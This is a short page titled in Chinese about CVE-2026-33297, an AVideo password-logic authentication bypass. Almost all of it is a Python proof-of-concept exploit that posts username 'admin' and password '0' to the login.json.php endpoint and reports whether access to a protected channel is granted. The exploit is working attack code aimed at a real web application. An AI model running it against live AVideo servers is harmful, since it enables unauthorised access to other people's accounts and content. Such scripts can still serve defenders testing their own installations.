CVE-2026-33297 AVideo密码逻辑错误致访问绕过

# PoC script for CVE-2026-33297 # This script demonstrates the authentication bypass vulnerability # by attempting to access a protected channel using password '0'. import requests def exploit_avideo_bypass(target_url, channel_id): # The vulnerable endpoint handles password logic # In a real scenario, the password has been set by an admin to something complex, # but the backend stored it as 0. login_url = f"{target_url}/object/login.json.php" # Payload attempting to login with the coerced password '0' payload = { "user": "admin", # or target username "pass": "0", # The magic password due to integer coercion "channel": channel_id } try: print(f"[*] Attempting bypass on {target_url} for channel {channel_id}...") response = requests.post(login_url, data=payload, timeout=10) if response.status_code == 200: # Check for success indicators in response (e.g., token, success message) if "success" in response.text or response.json().get("status") == "success": print("[+] Exploit successful! Access granted with password '0'.") return True print("[-] Exploit failed or target not vulnerable.") return False except Exception as e: print(f"[!] Error during exploit: {e}") return False # Example usage # target = "http://localhost/avideo" # exploit_avideo_bypass(target, "1")